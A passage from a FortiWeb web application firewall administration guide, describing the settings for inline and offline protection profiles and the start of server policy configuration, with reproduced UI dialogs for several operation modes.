poisoning. This feature can be useful to prevent many types of cookie-based attack, such as session ID fraud. Note: This feature requires that the client support cookies.
Signatures	Select the name of the signature set, if any, that will be applied to matching requests. Also configure Enable AMF3 Protocol Detection. Attack log messages for this feature vary by which type of attack was detected. For a list, see “Blocking known attacks & data leaks” on page 377.
Enable AMF3 Protocol Detection	Enable to scan requests that use action message format 3.0 (AMF3) for: • cross-site scripting (XSS) attacks • SQL injection attacks • common exploits and other attack signatures that you have enabled in Signatures. AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software. Caution: To scan for attacks or enforce input rules on AMF3, you must enable this option. Failure to enable the option will cause the FortiWeb appliance to be unable to scan AMF3 requests for attacks.
Enable XML Protocol Detection	Enable to scan for matches with attack and data leak signatures in Web 2.0 (XML AJAX), SOAP, and other XML submitted by clients in the bodies of HTTP <code>POST</code> requests.

Setting name	Description
Illegal XML Format	Enable to validate that XML elements and attributes in the request's body conforms to the W3C XML 1.1 and/or XML 2.0 standards. Malformed XML, such as without the final > or with multiple >> in the closing tag, is often an attempt to exploit an unhandled error condition in a web application's XHTML or XML parser. Attack log messages contain <code>Illegal XML Format</code> when this feature detects malformed XML. Caution: If your back-end web servers require extensive protection for a vulnerable XML parser, you should add 3rd-party XML protection to your security architecture. Unlike XML protection profiles in previous versions of FortiWeb, <i>Illegal XML Format</i> does not scan for conformity with the document object model (DOM)/DTD/W3C Schema, recursive payloads, Schema poisoning, or other advanced XML attacks. It also cannot encrypt or sign XML elements. <i>Failure to provide adequate XML protection could allow attackers to penetrate your network.</i>
Custom Access	Select the name of a combination source IP, rate limit, HTTP header, and URL access policy, if any, that will be applied to matching requests. See “Combination access control & rate limiting” on page 315. Attack log messages contain <code>Custom Access Violation</code> when this feature detects a violation.
Parameter Validation	Select the name of the parameter validation rule, if any, that will be applied to matching requests. See “Grouping input rules” on page 418.) Attack log messages contain <code>Parameter Validation Violation</code> when this feature detects a parameter rule violation.
Hidden Fields Protection	Select the name of the hidden fields protection rule, if any, to use to protect hidden fields on your web site. See “Grouping input rules for hidden inputs” on page 425. Attack log messages contain <code>Hidden Field Manipulation</code> when this feature detects tampering. This option appears only when Session Management is enabled.
File Upload Restriction	Select an existing file upload restriction policy, if any, that will be applied to matching HTTP requests. See “Grouping file upload restrictions” on page 441. Attack log messages contain <code>Illegal File Size</code> when this feature detects an excessively large upload.
HTTP Protocol Constraints	Select the name of an HTTP parameter constraint, if any, that will be applied to matching requests. See “HTTP/HTTPS protocol constraints” on page 430. Attack log messages for this feature vary by which type of constraint was violated.
Brute Force Login	Select the name of a brute force login attack profile, if any, that will be applied to matching requests. See “Preventing brute force logins” on page 352. Attack log messages contain <code>Brute Force Login Violation</code> when this feature detects a brute force login attack.

Setting name	Description
URL Access	Select the name of the URL access policy, if any, that will be applied to matching HTTP requests. See “Grouping access rules per combination of URL & “Host:”” on page 314. Attack log messages contain <code>URL Access Violation</code> when this feature detects a URL matched by this policy.
Page Access	Select the page access rule, if any, that defines the URLs that must be accessed in a specific order. See “Enforcing page order that follows application logic” on page 401. Attack log messages contain <code>Page Access Violation</code> when this feature detects an illegal request order.
Start Pages	This option appears only when <i>Session Management</i> is enabled. Select the start pages rule, if any, that represent legitimate entry points into your web pages and web services. See “Specifying URLs allowed to initiate sessions” on page 405. Attack log messages contain <code>Start Page Violation</code> when this feature detects a session attempting to initiate illegally.
Allow Method	This option appears only when <i>Session Management</i> is enabled. Select an existing allow method policy, if any, that will be applied to matching HTTP requests. See “Specifying allowed HTTP methods” on page 426. Attack log messages contain <code>HTTP Method Violation</code> when this feature detects a non-allowed HTTP request method.
IP List	Select the name of a client white list or black list, if any, that will be applied to matching requests. See “Blacklisting & whitelisting clients individually by source IP” on page 325.
Geo IP	Select the name of a geographically-based client black list, if any, that will be applied to matching requests. See “Blacklisting countries & regions” on page 321.
DoS Protection	Select the name of an existing DoS prevention policy. For details, see “Grouping DoS protection rules” on page 345.
IP Reputation	Enable to apply IP reputation intelligence. See “Blacklisting source IPs with poor reputation” on page 319.

Setting name	Description
Allow Known Search Engines	Enable to exempt popular search engines' spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called "advanced protection" and "custom policies" in the web UI). This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be suspicious for web browsers are often normal with search engines. If you block them, your web sites' rankings and visibility may be affected. By default, this option allows all popular predefined search engines. Known search engine indexer source IPs are updated via FortiGuard Security Service. To specify which search engines will be exempt, click the <i>Details</i> link. A new frame will appear on the right side of the protection profile. Enable or disable each search engine, then click <i>Apply</i>. See also "Blacklisting content scrapers, search engines, web crawlers, & other robots" on page 327. Note: X-header-derived client source IPs (see "Defining your proxies, clients, & X-headers" on page 256) do not support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.
URL Rewriting	Select the name of a URL rewriting rule set, if any, that will be applied to matching requests. For details, see "Grouping rewriting & redirection rules" on page 375.
HTTP Authentication	Select the name of an authorization policy, if any, that will be applied to matching requests. For details, see "Offloading HTTP authentication & authorization" on page 221. If the client fails to authenticate, it will receive an HTTP 403 Access Forbidden error message.
File Compress	Select the name of a compression policy, if any, that will be applied to matching requests. For details, see "Configuring compression offloading" on page 446.
File Uncompress	Select the name of a decompression policy, if any, that will be applied to matching requests. For details, see "Configuring decompression to enable scanning & rewriting" on page 449.
Redirect URL	Type a URL including the FQDN/IP and path, if any, to which a client will be redirected if: - its request violates any of the rules in this profile, and - the Action for the rule is set to <i>Redirect</i>. For example, you could enter: <pre>www.example.com/products/</pre> If you do not enter a URL, depending on the type of violation and the configuration, the FortiWeb appliance will log the violation, may attempt to remove the offending parts, and could either reset the connection or return an HTTP 403 Access Forbidden or 404 File Not Found error message.

Setting name	Description
Redirect URL With Reason	Enable to include the reason for redirection as a parameter in the URL, such as <code>reason=Parameter%20Validation%20Violation</code>, when traffic has been redirected using Redirect URL. The FortiWeb appliance also adds <code>fortiwaf=1</code> to the URL to detect and cancel a redirect loop (if the redirect action would otherwise recursively triggers an attack event). By default, this option is disabled. Caution: If the FortiWeb appliance is protecting a redirect URL, enable this option to prevent infinite redirect loops.
Data Analytics	Enable to gather hit, attack, and traffic volume statistics for each server policy that includes this profile. See “Configuring policies to gather data” on page 585 and “Viewing web site statistics” on page 586. Note: This option cannot be enabled until you have uploaded a geography-to-IP mapping database. See “Updating data analytics definitions” on page 585.

To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click *Detail*.

- Click *OK*.
- If you intend to use this protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the auto-learning profile. For details, see [“Configuring an auto-learning profile” on page 175](#).
- To apply the inline protection profile, select it in a server policy. For details, see [“How operation mode affects server policy behavior” on page 452](#).

See also

- [How operation mode affects server policy behavior](#)
- [HTTP sessions & security](#)
- [Configuring a server policy](#)

Configuring a protection profile for an out-of-band topology or asynchronous mode of operation

Offline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Offline protection profiles contain only the features that are supported in out-of-band topologies and asynchronous inspection, which will be used with operation modes such as transparent inspection and offline protection.

Offline protection profiles' primary purpose is to **detect** attacks, especially for use in conjunction with auto-learning profiles. Depending on the routing and network load, due to limitations inherent to out-of-band topologies and asynchronous inspection, FortiWeb may **not** be able to reliably block all of the attacks it detects, even if you have configured FortiWeb with an *Action* setting of *Alert & Deny*. In fact, if used in conjunction with auto-learning profiles, you

should configure the offline protection profile to **log but not block** attacks in order to gather complete session statistics for the auto-learning feature.



Offline protection profiles only include features that do **not** require an inline network topology. They can be configured at any time, but **cannot** be applied by a policy if the FortiWeb appliance is operating in a mode that does not support them. For details, see [Table 42 on page 452](#).

To configure an offline protection profile

1. Before configuring an offline protection profile, first configure any of the following that you want to include in the profile:



To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see [“Auto-learning” on page 149](#).

- an allowed method policy (see [“Specifying allowed HTTP methods” on page 426](#))
 - a file upload restriction policy (see [“Grouping file upload restrictions” on page 441](#))
 - a URL access policy (see [“Grouping access rules per combination of URL & “Host:”” on page 314](#))
 - a signature set (see [“Blocking known attacks & data leaks” on page 377](#))
 - a parameter validation policy (see [“Grouping input rules” on page 418](#))
 - a hidden field protection rule (see [“Grouping input rules for hidden inputs” on page 425](#))
 - a brute force login attack profile (see [“Preventing brute force logins” on page 352](#))
 - a protocol constraints profile (see [“HTTP/HTTPS protocol constraints” on page 430](#))
 - a robot control profile (see [“Blacklisting content scrapers, search engines, web crawlers, & other robots” on page 327](#))
 - an IP list (see [“Blacklisting & whitelisting clients individually by source IP” on page 325](#))
 - the IP reputation policy (see [“Blacklisting source IPs with poor reputation” on page 319](#))
 - a file uncompress rule (see [“Configuring decompression to enable scanning & rewriting” on page 449](#))
 - a trigger if you plan to use policy-wide log and alert settings (see [“Configuring triggers” on page 545](#))
2. Go to *Policy > Web Protection Profile > Offline Protection Profile*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
 3. Click *Create New*.
Predefined profiles cannot be edited, but can be viewed and cloned.

4. Configure these settings:

Edit Offline Protection Profile

X-Forwarded-For
x-headers1
Detail...

Session Key
session-id

Known Attacks

Signatures
attack-signatures1
Detail...

Enable AMF3 Protocol Detection
☒

Enable XML Protocol Detection
☐

Illegal XML Format
☐ Alert
Please Select

Advanced Protection

Custom Access
combo-IP-rate-URL-policy1
Detail...

Input Validation

Parameter Validation Rule
parameter-validation-policy1
Detail...

Hidden Fields Protection Rule
hidden-field-policy1
Detail...

File Upload Restriction Policy
file-upload-policy1
Detail...

Protocol

HTTP Protocol Constraints
http-constraint1
Detail...

Access

URL Access Policy
url-access-policy1
Detail...

Allow Request Method Policy
method-policy1
Detail...

Brute Force Login
brute-force-preventer1
Detail...

IP List Policy
client-blacklist1
Detail...

Geo IP
north-america
Detail...

IP Reputation

IP Reputation
☒

Allow Known Search Engines
☒
Detail...

Application Delivery

File Uncompress Rule
decompression-policy1
Detail...

Data Analytics
☒

OK
Cancel

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Session Management	Enable to use your web application's session IDs in order for FortiWeb to be able to track the state of web applications across multiple requests. Also configure <i>Session Timeout</i>. Note: When FortiWeb is deployed in an offline topology or asynchronous operation mode, this feature requires that your web applications have session IDs in their URL. For details, see “HTTP sessions & security” on page 32 and “Supported features in each operation mode” on page 61. Note: Enabling this option is required if: - you select features requiring session cookies, such as Hidden Fields Protection Rule - in any policy, you will select an auto-learning profile with this profile - you want to include this profile's traffic in the traffic log

Setting name	Description
Session Timeout	Type the HTTP session timeout in seconds. After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session. This option appears only if Session Management is enabled. The default is 1200 (20 minutes).
Session Key Word	Type the name of the session ID, if any, that your web application uses in the URL to identify each session. By default, FortiWeb tracks some common session ID names: ASPSESSIONID, PHPSESSIONID, and JSESSIONID. Configure this field if your web application uses a custom or uncommon session ID. In those cases, you do not need to configure this setting. For example, in the following URL, a web application identifies its sessions using a parameter with the name <code>mysession</code>: <pre>page.php?mysession=123ABC&user=user1</pre> In that case, you must configure Session Key Word to be <code>mysession</code> so that FortiWeb will be able to recognize the session ID, <code>123ABC</code>, and apply features that require sessions in order to function. This option appears only if Session Management is enabled.
Signature	Select the name of the signature set, if any, that will be applied to matching requests. Attack log messages for this feature vary by which type of attack was detected. For a list, see “Blocking known attacks & data leaks” on page 377. Note: If a <i>WAF Auto Learning Profile</i> will be selected in the policy with this profile, you should select a signature set whose <i>Action</i> is <i>Alert</i>. If the <i>Action</i> is <i>Alert & Deny</i>, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.
Enable AMF3 Protocol Detection	Enable to scan requests that use action message format 3.0 (AMF3) for: • cross-site scripting (XSS) attacks • SQL injection attacks • common exploits and other attack signatures that you have enabled in Signature. AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software. Caution: To scan for attacks or enforce input rules on AMF3, you must enable this option. Failure to enable the option will cause the FortiWeb appliance to be unable to scan AMF3 requests for attacks.
Enable XML Protocol Detection	Enable to scan for matches with attack and data leak signatures in Web 2.0 (XML AJAX) and other XML submitted by clients in the bodies of HTTP POST requests.

Setting name	Description
Illegal XML Format	Enable to validate that XML elements and attributes in the request's body conforms to the W3C XML 1.1 and/or XML 2.0 standards. Malformed XML, such as without the final > or with multiple >> in the closing tag, is often an attempt to exploit an unhandled error condition in a web application's XHTML or XML parser. Attack log messages contain <code>Illegal XML Format</code> when this feature detects malformed XML.
Custom Access	Select the name of a combination source IP, rate limit, HTTP header, and URL access policy, if any, that will be applied to matching requests. See "Combination access control & rate limiting" on page 315. Attack log messages contain <code>Advanced Protection Violation</code> when this feature detects a violation.
Parameter Validation Rule	Select the name of the HTTP parameter validation rule, if any, that will be applied to matching requests. See "Grouping input rules" on page 418. Attack log messages contain <code>Parameter Validation Violation</code> when this feature detects a parameter rule violation. Note: If a <i>WAF Auto Learning Profile</i> will be selected in a server policy using this profile, you should select a parameter validation rule whose <i>Action</i> is <i>Alert</i>. If the <i>Action</i> is <i>Alert & Deny</i>, the FortiWeb appliance will reset the connection when it detects an attack, resulting in incomplete session information for the auto-learning feature.
Hidden Fields Protection Rule	Select the name of a hidden fields group, if any, that will be applied to matching requests. See "Preventing tampering with hidden inputs" on page 420. Attack log messages contain <code>Hidden Field Manipulation</code> when this feature detects hidden input tampering. This option appears only if Session Management is enabled.
File Upload Restriction Policy	Select an existing file upload restriction policy, if any, that will be applied to matching requests. See "Grouping file upload restrictions" on page 441. Attack log messages contain <code>Illegal file size</code> when this feature detects an excessively large upload.
HTTP Protocol Constraints	Select the name of an HTTP protocol constraint, if any, that will be applied to matching requests. See "HTTP/HTTPS protocol constraints" on page 430. Attack log messages for this feature vary by which type of attack was detected. For a list, see "HTTP/HTTPS protocol constraints" on page 430.

Setting name	Description
URL Access Policy	Select the name of the URL access policy, if any, that will be applied to matching requests. See “Grouping access rules per combination of URL & “Host:”” on page 314. Attack log messages contain <code>URL Access Violation</code> when this feature detects a request that violates this policy. Note: Do <i>not</i> select an URL access policy if this offline protection profile will be used in a policy with <i>WAF Auto Learning Profile</i>. Selecting an URL access policy will cause the FortiWeb appliance to reset the connection when it detects a request with a blocked URL and <code>Host:</code> field combination, resulting in incomplete session information for the auto-learning feature.
Allow Request Method Policy	Select an existing allowed method policy, if any, that will be applied to matching requests. See “Specifying allowed HTTP methods” on page 426. Attack log messages contain <code>HTTP Method Violation</code> when this feature detects a non-allowed HTTP request method. Note: If a <i>WAF Auto Learning Profile</i> will be selected in a server policy using this profile, you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
Brute Force Login	Select the name of a brute force login attack profile, if any, that will be applied to matching requests. See “Preventing brute force logins” on page 352. Attack log messages contain <code>Brute Force Login Violation</code> when this feature detects a brute force login attack.
IP List Policy	Select the name of a client black list or white list, if any, that will be applied to matching requests. See “Blacklisting & whitelisting clients individually by source IP” on page 325. Attack log messages contain <code>Blacklisted IP blocked</code> when this feature detects a blacklisted source IP address.
Geo IP	Select the name of a geographically-based client black list, if any, that will be applied to matching requests. See “Blacklisting countries & regions” on page 321.
IP Reputation	Enable to apply IP reputation-based blacklisting. See “Blacklisting source IPs with poor reputation” on page 319.

Setting name	Description
Allow Known Search Engines	Enable to exempt popular search engines' spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, and combination rate & access control (called "advanced protection" and "custom policies" in the web UI). This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be abnormal for web browsers are often normal with search engines. If you block them, your web sites' rankings and visibility may be affected. By default, this option allows all popular predefined search engines. To specify which search engines will be exempt, click the <i>Details</i> link. A new frame will appear on the right side of the protection profile. Enable or disable each search engine, then click <i>Apply</i>. See also "Blacklisting content scrapers, search engines, web crawlers, & other robots" on page 327.
File Uncompress Rule	Select the name of a file decompression policy, if any, that will be applied to matching requests. See "Configuring decompression to enable scanning & rewriting" on page 449.
Data Analytics	Enable to gather hit, attack, and traffic volume statistics for each server policy that includes this profile. See "Configuring policies to gather data" on page 585 and "Viewing web site statistics" on page 586. Note: This option cannot be enabled until you have uploaded a geography-to-IP mapping database. See "Updating data analytics definitions" on page 585.

To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click *Detail*.

- Click *OK*.
- If you will use this offline protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the auto-learning profile. For details, see "[Configuring an auto-learning profile](#)" on page 175.
- To apply the offline protection profile, select it in a policy. For details, see "[How operation mode affects server policy behavior](#)" on page 452.

See also

- How operation mode affects server policy behavior
- [HTTP sessions & security](#)
- [Configuring a server policy](#)

Configuring a server policy

Configure server policies by combining your rules, profiles, and sub-policies.

Server policies:

- Block or allow connections
- Apply a protection profile that specifies how FortiWeb will scan or process the HTTP/HTTPS requests that it allows
- Route or let pass traffic to destination web servers
- Optionally, use an auto-learning profile to gather additional information about your HTTP/HTTPS traffic for use as guidance when modifying the policy or profiles

Until you configure and enable at least one policy, FortiWeb will, by default:

- **when in reverse proxy mode, deny all traffic.**
- **when in other operation modes, allow all traffic.**

Server policy behavior and supported features vary by operation mode. For details, see [“How operation mode affects server policy behavior” on page 452](#). It also varies by whether or not the policy uses IPv6 addresses.



If a policy has **any** virtual servers, physical servers, or domain servers with IPv6 addresses, it will **not** apply features that do not yet support IPv6, even if they are selected.

To achieve more complex policy behaviors and routing, you can chain multiple policies together. See [“Defining your web servers” on page 241](#).

To configure a policy



There is a limit to the number of server policies you can create. The limit varies with the model of your FortiWeb appliance. For details, see [“Appendix B: Maximum configuration values” on page 655](#).



Do not configure policies unless they will be used. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies will unnecessarily consume memory and decrease performance.

1. Before you configure a policy, you usually should first configure any of the following that you must, or want to, include in the policy:



Alternatively, you can create missing components on-the-fly while configuring the policy, without leaving the page. To do this, select *Create New* from each policy component's drop-down menu.

However, when creating many components, you may save time by leaving the policy page, going to the other menu areas, and creating similar profiles by cloning, then modifying each clone.

Generally speaking, policies tie other components together and apply them to client's connections with your web servers. As such, they should be configured last. See [“Workflow” on page 45](#).

- If the policy will govern secure connections via HTTPS, you must upload the web server's certificate, define a certificate verification rule, and possibly also an intermediate CA certificate group. See [“Secure connections \(SSL/TLS\)” on page 267](#).
- Define your web servers by configuring either physical servers or domain servers. See [“Defining your web server by its IP address” on page 241](#) and [“Defining your web server by its DNS domain name” on page 243](#). If you want to distribute connections among them, group them into a server farm. See [“Grouping your web servers into server farms” on page 246](#).
- Define one or more host names or IP addresses if you want to accept or deny requests based upon the `Host:` field in the HTTP header. See [““Defining your protected or allowed HTTP “Host:” header names” on page 239](#).
- Configure a virtual server or V-zone to receive traffic on the FortiWeb appliance. See [“Configuring virtual servers on your FortiWeb” on page 262](#) or [“Configuring a bridge \(V-zone\)” on page 120](#).
- Configure an inline or offline (out-of-band) protection profile. See [“Configuring a protection profile for inline topologies” on page 456](#) (any mode except offline protection), [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 465](#) (offline protection mode only).



To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see [“Auto-learning” on page 149](#).

- If you want the FortiWeb appliance to gather auto-learning data, either configure an auto-learning profile and its required components or use the default. See [“Running auto-learning” on page 178](#).
- If you want to present a customized error page when a request is denied by a protection profile, upload the error page. See [“Uploading a custom error page” on page 454](#).

2. Go to *Policy > Server Policy > Server Policy*.

Create New Edit Delete									
	#	Policy Name	Policy Type	Virtual Server	HTTP Service	HTTPS Service	Deployment Mode	Enable	Status
	1	Policy1	Web Protection	Veserver1	HTTP		Server Balance	☒	
☒	2	Policy2	XML Protection	Veserver1		HTTPS	Single Server	☒	

To access this part of the web UI, your administrator account's access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears. Available options vary by the operation mode.

Figure 46:Policy dialog (reverse proxy mode)

New Policy

Policy Name

policy1

Policy Type

Web Protection

Deployment Mode

Server Balance

Virtual Server

vip1

Server Farm

server-farm1

Protected Servers

[Please Select...]

Persistent Server Sessions

3000 (1000~20000)

HTTP Service

HTTP

HTTPS Service

HTTPS

Certificate

host

Certificate Verification

cert-verifier1

Client Certificate Forwarding

☒

Certificate Intermediate Group

intermediary-cert-group1

Persistence Timeout

0 (Second)

Web Protection Profile

inline-protection-profile1

View Profile Details

WAF Auto Learn Profile

[Please Select...]

Monitor Mode

☐

URL Case Sensitivity

☐

Error Page

[Default]

Error Message (maximum 1023 characters)

The page cannot be displayed. Please contact the administrator for additional information.

Server Health Check

server-health-check1

Load Balancing Algorithm

Round Robin

Comments (maximum 35 characters)

OK

Cancel

Figure 47:Policy dialog (offline protection mode)

New Policy

Policy Name: policy-offline1

Policy Type: Web Protection

Deployment Mode: Offline Protection

Server Farm: server-farm-offline

Protected Servers: [Please Select...]

Persistent Server Sessions: 1000 (1000~20000)

Blocking Port: port1

Data Capture Port: port1

Web Protection Profile: offline-protection-profile1
[View Profile Details](#)

WAF Auto Learn Profile: Default Auto Learn Profile

Monitor Mode: ☒

URL Case Sensitivity: ☐

Error Message (maximum 1023 characters):
The page cannot be displayed. Please contact the administrator for additional information.

Comments (maximum 35 characters):

OK Cancel

Figure 48:Policy dialog (true transparent proxy mode)

New Policy

Policy Name: policy-ttp1

Policy Type: Web Protection

Deployment Mode: Transparent Servers

V-Zone: bridge1

Server Farm: server-farm-tp

Protected Servers: protected-server1

Persistent Server Sessions: 1000 (1000~20000)

Syn Cookie: ☒

Half Open Threshold: 100

Web Protection Profile: inline-protection-profile1
[View Profile Details](#)

WAF Auto Learn Profile: [Please Select...]

Monitor Mode: ☐

URL Case Sensitivity: ☐

Error Page: [Default]

Error Message (maximum 1023 characters):
The page cannot be displayed. Please contact the administrator for additional information.

Comments (maximum 35 characters):

OK Cancel

Figure 49:Policy dialog (transparent inspection mode)

New Policy

Policy Name: policy-ti1

Policy Type: Web Protection

Deployment Mode: Transparent Servers

V-Zone: bridge1

Server Farm: server-farm-ti

Protected Servers: protected-server1

Persistent Server Sessions: 1000 (1000~20000)

Web Protection Profile: offline-protection-profile1
[View Profile Details](#)

WAF Auto Learn Profile: [Please Select...]

Monitor Mode: ☐

URL Case Sensitivity: ☐

Error Message (maximum 1023 characters):
The page cannot be displayed. Please contact the administrator for additional information.

Comments (maximum 35 characters):

OK Cancel

4. Configure the following options.

The operation mode and your choice for *Deployment Mode* changes the other available

options.

Setting name	Description
Policy Name	Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Deployment Mode	Select the method of distribution that the FortiWeb appliance will use when accepting connections for this policy. Depending on the types of network topologies that the current operation mode supports, not all deployment modes may be available. • Single Server — Forward connections to a single physical server or domain server. This option is available only if the FortiWeb appliance is operating in reverse proxy mode. • Server Balance — Use a load-balancing algorithm when distributing connections amongst the web servers in a server farm. If a web server is unresponsive to the server health check, the FortiWeb appliance forwards subsequent connections to another web server in the server farm. Also configure Load Balancing Algorithm, Persistence Timeout, Server Health Check, and Server Farm. This option is available only if the FortiWeb appliance is operating in reverse proxy mode. Tip: Do <i>not</i> use load balancing with web applications that use server-side sessions, <i>unless</i> all load-balanced servers share common storage for session ID and other software states. Problems could include the client being unable to log in or complete other stateful transactions. (Each HTTP request could be forwarded to a separate server that has no knowledge of any session previously established by the client on another server.) Load balancing <i>can</i> be used by web applications that use client-side sessions (i.e. session cookies). • HTTP Content Routing — Use HTTP content routing to route HTTP requests to a specific web server in a server farm by specifying the host or URL and the request file. • Offline Protection — Allow connections to pass through the FortiWeb appliance, and apply an offline protection profile. Also configure Server Health Check and Server Farm. This option is available only if operation mode is offline protection. • Transparent Servers — Allow connections to pass through the FortiWeb appliance, and apply a protection profile. Also configure Server Farm. This is the only option available when the operation mode is either true transparent proxy or transparent inspection.

Setting name	Description
Virtual Server or Data Capture Port or V-zone	Select the name of a virtual server, data capture (listening) network interface, or v-zone (bridge). The name and purpose of this drop-down list varies by operation mode: • Reverse proxy — Virtual Server identifies the IP address and network interface of incoming traffic that will be routed and to which the policy will apply a profile. • Offline protection — Data Capture Port identifies the network interface of incoming traffic that the policy to which it will attempt to apply a profile. The IP address will be ignored. • True transparent proxy or transparent inspection — V-zone identifies the network interface of the incoming traffic to which the policy will apply a profile.
Server Type	If you selected <i>Single Server</i> from Deployment Mode , indicate how you will define that server by selecting either <i>Physical Server</i> or <i>Domain Server</i> .
Physical Server or Domain Server	Select either the physical or domain server to which to forward connections, or select <i>Create New</i> to configure a new web server definition in a pop-up window, without leaving the current page. For details, see “Defining your web server by its IP address” on page 241 or “Defining your web server by its DNS domain name” on page 243. This option appears only when you have selected <i>Single Server</i> from Deployment Mode.
Server Farm	Select the server farm whose web servers will receive the connections. For details, see “Grouping your web servers into server farms” on page 246. This option appears only if <i>Deployment Mode</i> is <i>Server Balance</i>, <i>HTTP Content Routing</i>, <i>Offline Protection</i>, or <i>Transparent Servers</i>. Note: If Deployment Mode is <i>Offline Protection</i> or <i>Transparent Servers</i>, you must select a server farm, even though the FortiWeb appliance will allow connections to pass through instead of actively distributing connections. Therefore, if you want to govern connections for only a single web server, rather than a group of servers, you must configure a server farm with that single web server as its only member in order to select it in the policy.
Protected Servers	Select a protected servers group to allow or reject connections based upon whether the <code>Host :</code> field in the HTTP header is empty or does or does not match the protected hosts group. For details, see “Defining your protected or allowed HTTP “Host:” header names” on page 239. If you do not select a protected servers group, requests will be accepted or blocked based upon other criteria in the policy or protection profile, but regardless of the <code>Host :</code> field in the HTTP header. Attack log messages contain <code>HTTP Host Violation</code> when this feature does not detect an allowed host name. Caution: Unlike HTTP 1.1, HTTP 1.0 does not require the <code>Host :</code> field. The FortiWeb appliance will not block HTTP 1.0 requests for lacking this field, regardless of whether or not you have selected a protected servers group.

Setting name	Description
Persistent Server Sessions	Type the maximum number of concurrent TCP connections that will be maintained by this policy to back-end servers. The maximum number of HTTP sessions established with each server depends on this field, and whether you have selected a single web server or a Server Farm and Load Balancing Algorithm. For example, if you set the value of Persistent Server Sessions to 10,000 and there are 4 web servers in a server farm that uses <i>Round Robin</i>-style load-balancing, up to 10,000 client connections would be accepted, resulting in up to 2,500 HTTP sessions evenly distributed to each of the 4 web servers. The default value varies. Each model of FortiWeb appliance has a maximum allowed number of persistent sessions. The <i>Edit Policy</i> dialog lists the minimum and maximum for your FortiWeb model next to this field. For specifications, see “Appendix B: Maximum configuration values” on page 655. Tip: You can configure logging and/or alert email to notify you when the appliance approaches its maximum. See the logging option Persistent Server Session.
Blocking Port	Select which network interface will be used to send TCP <code>RST</code> (connection reset) packets in order to attempt to block the request/connection when policy-violating traffic is detected. For details on blocking behavior, see “Topology for offline protection mode” on page 65. This option appears only if the FortiWeb appliance is operating in offline protection mode.
Syn Cookie	Enable to prevent TCP <code>SYN</code> floods. Also configure Half Open Threshold. Note: This option is applicable only if the appliance is operating in true transparent proxy mode. (Other modes use DoS protection profiles instead. See “Preventing a TCP SYN flood” on page 344.)
Half Open Threshold	Type the TCP <code>SYN</code> cookie threshold in packets per second. Also configure Syn Cookie. Note: This option is applicable only if the appliance is operating in true transparent proxy mode. (Other modes use DoS protection profiles instead. See “Preventing a TCP SYN flood” on page 344.)
HTTP Service	Select the custom or predefined service that defines the TCP port number where the virtual server or bridge receives HTTP traffic. This option does not apply to either of the transparent modes.
Physical Server Port (under HTTP Service)	Type the TCP port number where the physical/domain server listens for HTTP web or web services connections. The valid range is from 0 to 65,535. This option appears only if Deployment Mode is <i>Single Server</i>.

Setting name	Description
HTTPS Service	Select the custom or predefined service that defines the TCP port number where the virtual server receives HTTPS traffic. Also configure Certificate. Enable if requests from clients to the FortiWeb appliance or protected hosts use SSL or TLS. SSL 3.0, TLS 1.0, and TLS 1.1 are supported. See also “Supported cipher suites & protocol versions” on page 269. When enabled, the FortiWeb appliance handles SSL negotiations and encryption and decryption, instead of the web servers, also known as SSL offloading (see “Offloading vs. inspection” on page 267). Connections between the client and the FortiWeb appliance will be encrypted. Connections between the FortiWeb appliance and each web server will be either clear text or encrypted, depending on SSL Server. This option appears only if FortiWeb is operating in reverse proxy mode. (For other operation modes, enable SSL and select a Certificate File for each web server in the server farm (for SSL inspection) instead. Caution: Failure to enable an HTTPS option and provide a certificate for HTTPS connections will result in the FortiWeb appliance being unable to decrypt connections, and therefore unable to scan content in the HTTP body. Tip: FortiWeb appliances contain specialized hardware to accelerate SSL processing. Offloading SSL/TLS processing may improve the performance of secure HTTP (HTTPS) connections.
Physical Server Port (under HTTPS Service)	Type the TCP port number where the physical/domain server listens for HTTPS web or web services connections. The valid range is from 0 to 65,535. This option appears only if Deployment Mode is <i>Single Server</i>. (For other deployment modes, configure Port in the server farm instead.)
SSL Server	Enable to use SSL/TLS to encrypt connections from the FortiWeb appliance to protected web servers. Also configure Certificate and HTTPS Service. Disable to pass traffic to protected web servers in clear text. This option appears in reverse proxy mode when you select an HTTPS Service, and when Deployment Mode is <i>Single Server</i>. (In other cases, such as if you set Deployment Mode to <i>Server Balance</i>, you must enable SSL in the server farm instead, where you can configure the SSL/TLS connection with each member individually.) Note: Enable only if the protected web server supports SSL or TLS. If you are unsure, click <i>SSL Support Test</i>. If you encrypt the connection but the server does not support it, all requests forwarded to the server will fail.
